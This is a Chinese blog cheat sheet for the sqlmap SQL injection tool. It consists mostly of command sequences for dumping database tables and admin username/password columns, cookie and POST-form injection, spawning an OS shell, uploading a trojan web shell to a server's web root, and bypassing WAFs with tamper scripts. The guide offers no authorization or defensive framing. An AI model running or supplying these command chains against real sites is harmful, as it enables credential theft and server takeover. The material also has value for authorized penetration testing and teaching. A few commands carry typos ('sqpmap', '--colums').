sqlmap指定cookie_SQLmap

本文详细介绍了sqlmap工具的使用,包括如何指定cookie进行注入测试,不同类型的SQL注入攻击方法,如Access注入、MySQL数据库注入、Cookie注入和POST表单注入。还提到了如何应对Web防注入措施、绕过WAF防火墙以及利用tamper脚本。此外,还讨论了获取系统交互shell、伪静态注入和请求延时的处理策略。
摘要由CSDN通过智能技术生成

**参数解释**

星号

在注入的过程中,有时候是伪静态的页面,可以使用星号表示可能存在注入的部分

--data

使用post方式提交的时候,就需要用到data参数了

-p

当我们已经事先知道哪一个参数存在注入就可以直接使用-p来指定,从而减少运行时间

--level

不同的level等级,SQLMAP所采用的策略也不近相同,当–level的参数设定为2或者2以上的时候,sqlmap会尝试注入Cookie参数;当–level参数设定为3或者3以上的时候,会尝试对User-Angent,referer进行注入。

--random-agent

使用该参数,SQLMAP会自动的添加useragent参数,如果你知道它要求你用某一种agent,你也应当用user-agent选项自己指定所需的agent

--technique

这个参数可以指定SQLMAP使用的探测技术,默认情况下会测试所有的方式。

支持的探测方式如下:

B: Boolean-based blind SQL injection(布尔型注入)

E: Error-based SQL injection(报错型注入)

U: UNION query SQL injection(可联合查询注入)

S: Stacked queries SQL injection(可多语句查询注入)

T: Time-based blind SQL injection(基于时间延迟注入)

**Access注入**

sqlmap -u 注入点url //判断是否有注入

sqlmap -u 注入点url --tables //access直接猜表

sqlmap -u 注入点url --colums -T admin //爆出admin表,猜解它的字段

sqlmap -u 注入点url --dump -T admin -C "username,password" //猜字段内容

**MySQL数据库注入**

sqlmap -u url --dbs //获取数据库

sqlmap -u url -D 指定的数据库 --tables //获取数据库中的表

sqlmap -u url -D 指定的数据库 -T 表名 --columns //获取表字段

sqlmap -u url -D 指定的数据库 -T 表名 -C id,user,pass --dump //获取字段内容

**Cookie注入**

网站有判断,不让用and,update等参数时就得加上Cookie。

sqlmap -u url --cookie="cookie值" --dbs(或)--tables --level 2

**POST表单注入**

注入点:

http://testasp.vulnweb.com/Login.asp

**几种方式:**

sqlmap -r burp拦截数据.txt -p Pass(测试参数) //从文件读取数据包

sqlmap -u http://testasp.vulnweb.com/Login.asp --forms //自动搜索表单

sqlmap -u http://testasp.vulnweb.com/Login.asp --data "Name=1&Pass=1" //手动添加数据

**获取系统交互shell**

1.sqlmap -u http://url.. --os-shell //或者windows可以用--os-cmd 或--sql-shell

2.选择网站服务端语言

3.填写网站根目录C:/www/

**伪静态注入**

sqpmap -u http://victim.com/id/666*.html --dbs //在html扩展名前加个'*'

**请求延时**

Web防注入措施,在访问两次错误页面后,第三次必须访问正确的页面

--delay 2 //延时两秒访问

--safe-freq 30 //人为配置次数

**绕过WAF防火墙**

sqlmap -u http://192.168.159.1/news.php?id=1 -v 3 --dbs --batch

--tamper "space2morehash.py" //使用tamper脚本绕过

类似脚本

space2hash.py base64encode.py charencode.py

**file参数使用**

必须为dba权限

sqlmap -u url --is-dba //查看是否dba权限

sqlmap -u url --file-write=本地木马路径(D:/shell.php)

--file-dest=目标根目录(C:/www/shell.php)

**常用tamper脚本使用**

地址:http://mp.weixin.qq.com/s/vEEoMacmETUA4yZODY8xMQ

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值